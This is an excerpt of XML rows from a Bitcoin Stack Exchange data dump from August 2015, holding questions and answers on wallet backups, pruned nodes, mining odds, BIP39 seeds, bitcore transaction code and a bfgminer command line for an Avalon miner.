  <row Id="39014" PostTypeId="1" CreationDate="2015-08-09T03:06:39.160" Score="0" ViewCount="182" Body="&lt;p&gt;Ok, so I have set up my blockchain.info API. But when I send a payment to the address given, it doesnt send the data. I use the exact same settings and callback in the testing, and it works amazingly. The thing is, blockchain.info doesn't even send my IPN. I know this because my first code is to insert a json format of all $_GET parameters into a database. Any fix?&lt;/p&gt;&#xA;" OwnerUserId="27835" LastEditorUserId="24925" LastEditDate="2015-08-31T10:40:03.530" LastActivityDate="2015-08-31T10:40:03.530" Title="Blockchain.info not sending my IPN to my website" Tags="|api|blockchain.info|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="39016" PostTypeId="2" ParentId="29981" CreationDate="2015-08-09T04:03:48.453" Score="1" Body="&lt;p&gt;You are asking a lot of questions in one post but to answer the question in your title concisely:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;A Bitcoin wallet is loosely the equivalent of a physical wallet on the&#xA;Bitcoin network. The wallet actually contains your private key(s)&#xA;which allow you to spend the bitcoins allocated to it in the block&#xA;chain. Each Bitcoin wallet can show you the total balance of all&#xA;bitcoins it controls and lets you pay a specific amount to a specific&#xA;person, just like a real wallet. This is different to credit cards&#xA;where you are charged by the merchant.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;From &lt;a href=&quot;https://bitcoin.org/en/vocabulary#wallet&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitcoin.org&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;A wallet contains any number of public/private keys.  You can easily create new wallets or new public/private keys in your existing wallet.&lt;/p&gt;&#xA;&lt;p&gt;I'd recommend breaking down anything still unanswered into their own specific question.&lt;/p&gt;&#xA;" OwnerUserId="6375" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2015-08-09T04:03:48.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39017" PostTypeId="1" CreationDate="2015-08-09T05:24:35.660" Score="1" ViewCount="130" Body="&lt;p&gt;I'm looking to learn about bitcoin regulations by studying the history of bitcoin. Bitcoin went from being an unknown thing to buy and sell to being heavily regulated. If I back track and look at it historically I think I'll better understand. So I have two simple questions up for open ended answer;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A. Who places and enforces the regulations between BTC and USD?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;B. Compared to the gold market is bitcoin less or more regulated and why?&lt;/p&gt;&#xA;" OwnerUserId="27837" LastActivityDate="2015-08-09T22:54:36.163" Title="Why are there regulations when buying/selling with USD" Tags="|trading|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="39018" PostTypeId="1" CreationDate="2015-08-09T16:39:24.613" Score="2" ViewCount="752" Body="&lt;p&gt;i made a wallet.dat backup in an old version of bitcoin qt. The mac where i had wallet is dead. In other mac with the last version of bitcoin core when i try to replace the wallet.dat the app crushes. What i am doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="27843" LastEditorUserId="2306" LastEditDate="2015-08-10T04:12:55.910" LastActivityDate="2015-08-10T04:12:55.910" Title="Import OLD wallet.dat to new Bitcoin core" Tags="|bitcoin-core|wallet.dat|mac|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="39019" PostTypeId="1" CreationDate="2015-08-09T20:59:34.783" Score="0" ViewCount="69" Body="&lt;p&gt;The replication of the block contents across all full nodes has been bothering me for some time.  Isn't the header of a block enough for me to validate the block contents if and when I get them (which I wouldn't until something told me that I need that block)?  When I get blocks, I can save them, but I suspect there are a large number of blocks I don't need.  I'd be willing to pay a small fee to get a block from someone else if that means I get an extra 20 GB on my hard drive indefinitely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess this is a bit like an SPV client, but I have seen no middle ground, where a client has a bunch of seemingly random blocks (but they aren't random - they contain all the transactions required to prove the current holdings of the person running it).  If such a client existed, it could hold and update the UTXO set as each new block comes in, all block headers, blocks important to the operator's acquaintances, and blocks the operator thinks might be valuable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we are trusting the network to provide the hashing power that prevents changes to the data in the blockchain, can't we also trust the network to provide the data itself?  Hashpower is valuable right now because of A) the subsidy, and B) transaction fees.  It makes sense to me that storage space is also valuable.  But while transaction fees are generally designed to cover that cost, they are allocated to hashpower rather than those providing storage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, if I had the complete UTXO set as of some previous block, and I've watched all the changes to it represented by all the blocks since (without necessarily permanently storing them), then I can determine whether or not any incoming transaction is valid.  I think the storage requirements for a client that does this are well under 10% of the storage requirements of a full node right now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something?&lt;/p&gt;&#xA;" OwnerUserId="1434" LastActivityDate="2015-08-09T23:13:47.723" Title="Must block contents be stored with the proof that they haven't been changed?" Tags="|storage|spv|validation|transit-fees|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39020" PostTypeId="2" ParentId="19304" CreationDate="2015-08-09T21:13:49.583" Score="-1" Body="&lt;p&gt;If you develop a client that:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;allows the user to provide the private key of an address that has bitcoin in it, &lt;/li&gt;&#xA;&lt;li&gt;offers to pay a small fee from that address to peers that provide blocks,&lt;/li&gt;&#xA;&lt;li&gt;provide blocks (when it has them) to peers that request them in return for a fee,&lt;/li&gt;&#xA;&lt;li&gt;loads the UTXO set as of some block from a trusted source, and &lt;/li&gt;&#xA;&lt;li&gt;only requests the blocks it really needs,&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;...then maybe, someday, if bandwidth is highly constrained and therefore downloading the blockchain is very difficult, your client could make things easier for others and earn you some btc for it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure this is a good idea, which is why I asked &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/39019/must-block-contents-be-stored-with-the-proof-that-they-havent-been-changed&quot;&gt;this question&lt;/a&gt;.  I look forward to comments.&lt;/p&gt;&#xA;" OwnerUserId="1434" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2015-08-09T21:13:49.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39022" PostTypeId="2" ParentId="39019" CreationDate="2015-08-09T21:53:54.980" Score="2" Body="&lt;p&gt;Sounds like you are describing a pruned node. As of Bitcoin Core 0.11, you can run it with the experimental &lt;code&gt;-prune=N&lt;/code&gt; option, which only keeps the last N megabytes (min 550) worth of blocks, plus the UTXO set. In 0.11 it is only useful for some RPC commands and mining, but it disables the wallet due to being too experimental. In 0.12 the wallet function will be available in pruned mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All blocks and headers are still downloaded and validated fully, but the old blocks are deleted from disk occasionally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I think it is a bit incorrect to say that hashing power prevents modification of the block chain. Block chains are by means of hashing always immutable and only append-only. However, in the presence of multiple &lt;em&gt;valid&lt;/em&gt; competing block chains, most hash power decides which one is to he accepted.&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="208" LastEditDate="2015-08-09T23:13:47.723" LastActivityDate="2015-08-09T23:13:47.723" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="39023" PostTypeId="2" ParentId="39017" CreationDate="2015-08-09T22:54:36.163" Score="1" Body="&lt;p&gt;Every country (or other jurisdiction) can make its own laws and regulations about how Bitcoin can be exchanged for dollars (or anything else) in their jurisdiction, just like they can make their own laws about taxes, traffic, etc.  So your question as stated maybe has  hundreds of answers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you mention US dollars: in the United States, my understanding is that most regulations on businesses that exchange Bitcoins come from the fact that they are considered &lt;a href=&quot;http://www.fincen.gov/financial_institutions/msb/definitions/msb.html&quot; rel=&quot;nofollow&quot;&gt;money services businesses&lt;/a&gt; (MSBs).  The US Department of Treasury, through its &lt;a href=&quot;http://www.fincen.gov/&quot; rel=&quot;nofollow&quot;&gt;FinCEN&lt;/a&gt; agency, makes and enforces regulations on MSBs, as authorized by laws created to fight money laundering.  These regulations require MSBs to do various things, such as gather personal information on their customers, report suspicious transactions to the government, and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know much about gold markets, so I can't really address that part of your question.  I would think that in the US, large-scale gold market participants would fall under the purview of the &lt;a href=&quot;http://www.cftc.gov/index.htm&quot; rel=&quot;nofollow&quot;&gt;US Commodity Futures Trading Commission&lt;/a&gt; and be subject to regulations roughly analogous to those which the &lt;a href=&quot;http://www.sec.gov/&quot; rel=&quot;nofollow&quot;&gt;Securities and Exchange Commission&lt;/a&gt; enforces on stock traders and brokers.  My impression is that these regulations are substantially more complex than those for MSBs.  I don't think this would apply to small-scale operators like jewelry stores, but they may have other regulations to obey, perhaps imposed at the state or local level.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2015-08-09T22:54:36.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39024" PostTypeId="1" CreationDate="2015-08-10T00:47:04.997" Score="-5" ViewCount="250" Body="&lt;p&gt;I'm not interesting in mining myself, just interested in the topic.&#xA;I understand that you can still get bitcoin by contributing computation power to a pool (a company)&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Does only one person/company receive the bitcoin reward every 10 minutes? So in 1 hour, only 6 individual/company gets the reward? It's a zero-sum game?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If #1 is true, doesn't that mean only the fastest/best machines has any chance of getting the reward?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If #1 and #2 are true, does that mean that mining without joining a pool is a futile effort for any average individual with average income because he cannot compete with pools and companies have more powerful computers?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;if #1,2,3 are true, does that mean that the companies that sell mining computers/devices are marketed towards those who join pools rather than mine the network themselves?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="27847" LastEditorUserId="2306" LastEditDate="2016-02-05T18:07:55.817" LastActivityDate="2016-02-05T18:07:55.817" Title="Noob question about mining" Tags="|mining-theory|" AnswerCount="1" CommentCount="6" ClosedDate="2015-08-10T15:40:56.100" ContentLicense="CC BY-SA 3.0" />
  <row Id="39025" PostTypeId="2" ParentId="38971" CreationDate="2015-08-10T05:41:53.723" Score="2" Body="&lt;p&gt;I've done some testing with pybitcointools and one of the BitcoinCore test vectors with a SIGHASH of zero.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For &lt;code&gt;SIGHASH =0&lt;/code&gt;, the &lt;a href=&quot;https://github.com/vbuterin/pybitcointools/blob/master/bitcoin/transaction.py#L178&quot; rel=&quot;nofollow&quot;&gt;Tx which is signed &lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's just a matter of appending 4 nullbytes, instead of &lt;code&gt;01000000&lt;/code&gt;, to the signing transaction. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Core software checks for this non-standard hashtype now, however we can see there's no problem in validating these rare transactions since the code only checks for SIGHASH ACP, SINGLE &amp;amp; NONE. &lt;a href=&quot;https://github.com/petertodd/python-bitcoinlib/blob/master/bitcoin/core/script.py#L853-L902&quot; rel=&quot;nofollow&quot;&gt;See Python-Bitcoinlib's code for a Python interpretation&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://github.com/simcity4242/pybitcointools/blob/master/tests/tx_valid.json#L20-L23&quot; rel=&quot;nofollow&quot;&gt;this test vector&lt;/a&gt;, where the hash being validated is &lt;code&gt;11743b220e9e24e89abd4ff124a2740531fe7d7f9b4e26de14710a532fd543e2&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FWIW, Pybitcointools needs to have the &lt;code&gt;txhash&lt;/code&gt; function edited so that instead of &lt;code&gt;if hashcode:&lt;/code&gt;, it reads &lt;code&gt;if hashcode is not None:&lt;/code&gt;. The else clause in that function was confusing me, but it appears to be for hashing &lt;em&gt;signed&lt;/em&gt; transactions (ie to return the TxID)&lt;/p&gt;&#xA;" OwnerUserId="9382" LastEditorUserId="9382" LastEditDate="2015-08-18T01:59:08.300" LastActivityDate="2015-08-18T01:59:08.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39026" PostTypeId="1" CreationDate="2015-08-10T05:54:14.450" Score="0" ViewCount="716" Body="&lt;p&gt;!setBlockIndexCandidates.empty() Bitcoin Core 0.11 error&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hello, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a problem with the Bitcoin Core v. 0.11 software!!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I installed the software today and after a long wait (downloading block source - 5 years) I closed the application and when I tried to start it again I received this error: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Assertion failed!&#xA;File: main.cpp, Line 2287&#xA;Expression: !setBlockIndexCandidates.empty()&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I click Ignore on the error window the program start but with &quot;No block source available&quot; so it can't continue the download. And when I close the program I receive a FATAL ERROR message: &quot;see debug.log for details&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can somebody tell me how do I fix this error or what do I do next?&#xA;And another thing... &#xA;I was sent today some Bitcoins and I am asking if the sun can be recovered somehow?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pastebin.com/raw.php?i=AV1B0UnK&quot; rel=&quot;nofollow&quot;&gt;debug.log&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="27851" LastEditorUserId="24925" LastEditDate="2015-08-10T13:47:34.080" LastActivityDate="2018-06-20T15:42:24.460" Title="!setBlockIndexCandidates.empty()" Tags="|bitcoin-core|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="39027" PostTypeId="2" ParentId="39024" CreationDate="2015-08-10T07:24:05.463" Score="1" Body="&lt;p&gt;It's more like a lottery than like a race. Let's say one miner has 90% of the hashrate and another has 10%. It is not true that every 10 minutes the big miner will always win because he's faster. Rather, the big miner has 90% chance of winning and the small miner has 10% - in exact proportion to their hashrate (unless they carry out some sophisticated attacks).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As such, to compete you don't need a more powerful computer, but a more efficient one. If the computer is efficient enough, then you'll be profitable and what you'll get is exactly proportional to its power.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2015-08-10T07:24:05.463" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="39030" PostTypeId="2" ParentId="39012" CreationDate="2015-08-10T11:00:23.973" Score="2" Body="&lt;p&gt;It will only ever not be present for the genesis block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A block is not added to the block index until all its ancestors are in there too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The block index is conceptually a tree: every block can have multiple decendents but only one ancestor. A reorganization is switching from one branch of the tree to another, and does not affect this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Orphan blocks (in the meaning of blocks without known parent) don't exist anymore since Bitcoin Core 0.10 (we only download blocks after validating their headers, so the parent is never unknown), and even before that, orphan blocks were just stored in a queue in memory and not actually added to the index until their parents were found.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2015-08-10T11:00:23.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39031" PostTypeId="1" AcceptedAnswerId="39033" CreationDate="2015-08-10T11:13:02.343" Score="1" ViewCount="601" Body="&lt;p&gt;I'm using a greenaddress.it wallet, but assume this will be the same for all deterministic wallets. (If not, please correct me!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the first and all further bitcoin addresses my wallet will ever use can be determined by the &quot;mnemonic passphrase&quot;, is there anything else I need to backup / store securely?&lt;/p&gt;&#xA;" OwnerUserId="27822" LastActivityDate="2015-08-10T12:29:46.923" Title="Is the mnemonic passphrase enough to backup with deterministic wallets?" Tags="|backup|wallet-security|green-address|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39033" PostTypeId="2" ParentId="39031" CreationDate="2015-08-10T12:29:46.923" Score="2" Body="&lt;p&gt;For all wallets, which support &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0039.mediawiki&quot; rel=&quot;nofollow&quot;&gt;BIP-0039&lt;/a&gt; (still draft status), the mnemonic passphrase is enough to completely backup your wallet. As I can read from the greenaddress.it website they support BIP-0039 (not tried), so all you need is the passphrase (seed).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Theoretically, you can import the seed into any other wallet implementation and manage your bitcoins from there. However e.g. the popular Electrum wallet doesn't comply with BIP-0039. So you have to take care if you want to switch wallets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a detailed understanding of deterministic wallets, I can only recommend you reading the section on &lt;a href=&quot;https://github.com/aantonop/bitcoinbook/blob/develop/ch04.asciidoc#wallets&quot; rel=&quot;nofollow&quot;&gt;wallets&lt;/a&gt; in the book &quot;Mastering Bitcoin&quot;.&lt;/p&gt;&#xA;" OwnerUserId="27733" LastActivityDate="2015-08-10T12:29:46.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39034" PostTypeId="1" CreationDate="2015-08-10T14:23:51.863" Score="1" ViewCount="149" Body="&lt;p&gt;I dont know what is wrong&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var insight = new Insight('https://insight.bitpay.com','livenet');&#xA;insight.getUnspentUtxos('1MkZVyKqNB5jpJDpfhp4TkDikFwdQM44he', function(err, utxos) {&#xA;&#xA;if (err) {&#xA;        console.log('Error in getUnspentUtxos: ' + err);&#xA;    } else {&#xA;        console.log('utxos' + ' :' + JSON.stringify(utxos, undefined, 2));&#xA;&#xA;        var transaction = new bitcore.Transaction()&#xA;        .from(utxos)&#xA;        .addData('pime')// Add OP_RETURN data.&#xA;        .to('1J4u97VGMz4GV7YFfRjtKLDchZ5zjiKLu4',15000)&#xA;        .fee(1000)&#xA;        .change('1AG1c1t3FAAEFdxmzm3wTg7XAnRGSwX5QA')&#xA;        .sign(privateKey);&#xA;&#xA;        console.log(transaction.serialize());&#xA;&#xA;        //console.log(transaction);&#xA;&#xA;    }&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the result: &lt;a href=&quot;http://pastebin.com/raw.php?i=YNaHBcmU&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/raw.php?i=YNaHBcmU&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="25120" LastEditorUserId="2306" LastEditDate="2015-08-10T22:43:08.987" LastActivityDate="2015-08-10T22:43:08.987" Title="Blockchain.info returns &quot;None Standard Script Output&quot; when submitting a transaction?" Tags="|bitcore|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="39035" PostTypeId="2" ParentId="39034" CreationDate="2015-08-10T14:29:44.767" Score="2" Body="&lt;p&gt;There is nothing wrong with this transaction, the website you tried to submit it through (blockchain.info) is defective. I have broadcast it for you, and it is visible as a confirmed transaction on &lt;a href=&quot;https://www.blocktrail.com/BTC/tx/63913178feb485db6f25c9f7940e3d17175ae7a51bf1ae58acf8f11ee95a2966&quot; rel=&quot;nofollow&quot;&gt;most&lt;/a&gt; &lt;a href=&quot;https://btc.blockr.io/tx/info/63913178feb485db6f25c9f7940e3d17175ae7a51bf1ae58acf8f11ee95a2966&quot; rel=&quot;nofollow&quot;&gt;block&lt;/a&gt; &lt;a href=&quot;https://insight.bitpay.com/tx/63913178feb485db6f25c9f7940e3d17175ae7a51bf1ae58acf8f11ee95a2966&quot; rel=&quot;nofollow&quot;&gt;explorers&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;bitcoin-cli decoderawtransaction&lt;/code&gt; is a useful tool which will let you decode and view the transaction have created prior to submitting it to the network, and &lt;code&gt;bitcoin-cli sendrawtransaction&lt;/code&gt; will allow you to broadcast the transaction without relying on possibly faulty third parties. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;  &quot;txid&quot;: &quot;63913178feb485db6f25c9f7940e3d17175ae7a51bf1ae58acf8f11ee95a2966&quot;,&#xA;  &quot;version&quot;: 1,&#xA;  &quot;locktime&quot;: 0,&#xA;  &quot;vin&quot;: [&#xA;    {&#xA;      &quot;txid&quot;: &quot;f713e91b7df1dc4e4e85c7e2d9a050ca95408d1f578925f54aa93dc7bc98daa7&quot;,&#xA;      &quot;vout&quot;: 0,&#xA;      &quot;scriptSig&quot;: {&#xA;        &quot;asm&quot;: &quot;3044022012051ad672731cf555964c23d31defb67b06a85ea7de4843777d7058d3a084490220567864bf79669a8cb48e8de29f31fb29caef56f741ab9145424b3430af7b317001 038042cf5da3747c559e1d77e574eb81842958ef0cbc0461c1b783eda091afa782&quot;,&#xA;        &quot;hex&quot;: &quot;473044022012051ad672731cf555964c23d31defb67b06a85ea7de4843777d7058d3a084490220567864bf79669a8cb48e8de29f31fb29caef56f741ab9145424b3430af7b31700121038042cf5da3747c559e1d77e574eb81842958ef0cbc0461c1b783eda091afa782&quot;&#xA;      },&#xA;      &quot;sequence&quot;: 4294967295&#xA;    }&#xA;  ],&#xA;  &quot;vout&quot;: [&#xA;    {&#xA;      &quot;value&quot;: 0.00000000,&#xA;      &quot;n&quot;: 0,&#xA;      &quot;scriptPubKey&quot;: {&#xA;        &quot;asm&quot;: &quot;OP_RETURN 1701669232&quot;,&#xA;        &quot;hex&quot;: &quot;6a0470696d65&quot;,&#xA;        &quot;type&quot;: &quot;nulldata&quot;&#xA;      }&#xA;    },&#xA;...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="24925" LastEditorUserId="24925" LastEditDate="2015-08-10T14:35:15.770" LastActivityDate="2015-08-10T14:35:15.770" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="39036" PostTypeId="2" ParentId="38390" CreationDate="2015-08-10T19:09:15.473" Score="0" Body="&lt;p&gt;I use an avalon nano and to work properly I found this command line.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Be sure to install avalon software&#xA;&lt;a href=&quot;http://downloads.canaan-creative.com/software/avalon_nano/software/latest/AvalonInstaller.zip&quot; rel=&quot;nofollow&quot;&gt;http://downloads.canaan-creative.com/software/avalon_nano/software/latest/AvalonInstaller.zip&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Copy bfgminer folder from &quot;c:\Program files\Avalon&quot; or &quot;c:\Program files (x86)\Avalon&quot; to the folder of your choice (c:\bfgminer)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Uninstall avalon.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Open notepad and create  a file bfgminer-avalon.bat and put this in it (substituting your own credentials):&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;BfgMiner.exe  -o stratum+tcp://eu.multipool.us:3363 -O workersname:workerspassword  -T  -S ICA:\.\COM4   --set-device  ICA:baud=115200  --set-device  ICA:reopen=timeout  --set-device  ICA:work_division=1  --set-device  ICA:fpga_count=1  --set-device  ICA:probe_timeout=100  --set-device  ICA:timing=0.22&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="27861" LastEditorUserId="18196" LastEditDate="2015-08-10T22:32:26.147" LastActivityDate="2015-08-10T22:32:26.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39039" PostTypeId="1" CreationDate="2015-08-11T02:12:23.513" Score="1" ViewCount="867" Body="&lt;p&gt;From the &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0039.mediawiki&quot; rel=&quot;nofollow noreferrer&quot;&gt;BIP39 spec&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;From mnemonic to seed&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;A user may decide to protect their mnemonic with a passphrase. If a passphrase is not present, an empty string &amp;quot;&amp;quot; is used instead.&lt;/p&gt;&#xA;&lt;p&gt;To create a binary seed from the mnemonic, we use the PBKDF2 function with a mnemonic sentence (in UTF-8 NFKD) used as the password and the string &amp;quot;mnemonic&amp;quot; + passphrase (again in UTF-8 NFKD) used as the salt. The iteration count is set to 2048 and HMAC-SHA512 is used as the pseudo-random function. The length of the derived key is 512 bits (= 64 bytes).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I assume that &lt;code&gt;(in UTF-8 NFKD)&lt;/code&gt; means that encoded characters are hashed, rather than the original binary data. &lt;strong&gt;Is this correct?&lt;/strong&gt; If so, is there a security reason why it was done this way?&lt;/p&gt;&#xA;&lt;p&gt;One consequence of this is that, if the seed is generated from the actual encoding rather than the original bit sequence, then one cannot encode the same bit sequence into multiple languages &lt;em&gt;to give access to the same private keys&lt;/em&gt;. This is a pretty big down-side for wallets that provide a language setting. If the user changes their language setting, for example, then they cannot retrieve and enter their wallet words in their new language.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2015-08-11T02:12:23.513" Title="In the BIP39 specification, are seeds generated from encoded or decoded passphrase?" Tags="|mnemonic-seed|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="39040" PostTypeId="2" ParentId="36442" CreationDate="2015-08-11T04:41:13.660" Score="1" Body="&lt;p&gt;I ended up working out how to do this using iPython. It's just a matter of changing directories in Python, which I do with this dict:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; PATH&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{'pybtc': 'b:\\pybtc\\pybitcointools', 'python-bitcoinlib': 'b:\\pybtc\\python-bitcoinlib'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For pybitcointools:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; os.chdir(PATH['pybtc'])&#xA;&amp;gt;&amp;gt;&amp;gt; import bitcoin as btc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For python-bitcoinlib:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; os.chdir(PATH['python-bitcoinlib'])&#xA;&amp;gt;&amp;gt;&amp;gt; from bitcoin.core import *&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'll leave it there, as &lt;a href=&quot;https://bitcoin.stackexchange.com/a/36476/9382&quot;&gt;Jimmy Song's answer&lt;/a&gt; fills in the rest&lt;/p&gt;&#xA;" OwnerUserId="9382" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2015-08-11T04:41:13.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39042" PostTypeId="2" ParentId="4178" CreationDate="2015-08-11T14:15:33.027" Score="0" Body="&lt;p&gt;Try &lt;a href=&quot;https://blockchain.info/wallet&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/wallet&lt;/a&gt; it has Android and IOS clients. It is easiest client for begginer.&lt;/p&gt;&#xA;" OwnerUserId="18249" LastActivityDate="2015-08-11T14:15:33.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="39043" PostTypeId="1" CreationDate="2015-08-11T14:46:35.383" Score="0" ViewCount="621" Body="&lt;p&gt;I (should by now) have bitcoins in my wallet,I sent them to my wallet whilst i was using bitcoin core but after taking days to sync (and it still hasn't synced) i have given up and installed multibitHD. I have tried using blockchain to import the data file but it keeps saying connection refused even thought the password is correct and the file is fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now Bitcoincore wont even open so i cannot check whether it has synced or whether my bitcoins are still there and I'm beginning to worry that I've lost my money can someone please help me transfer my bitcoin core wallet over to multibitHD!?&lt;/p&gt;&#xA;" OwnerUserId="27878" LastActivityDate="2016-07-22T09:52:21.820" Title="Please help! How do I transfer my wallet from bitcoin core to MultibitHD?" Tags="|blockchain|wallet|bitcoin-core|multibit|wallet.dat|" AnswerCount="1" CommentCount="0" ClosedDate="2016-07-25T20:12:59.063" ContentLicense="CC BY-SA 3.0" />
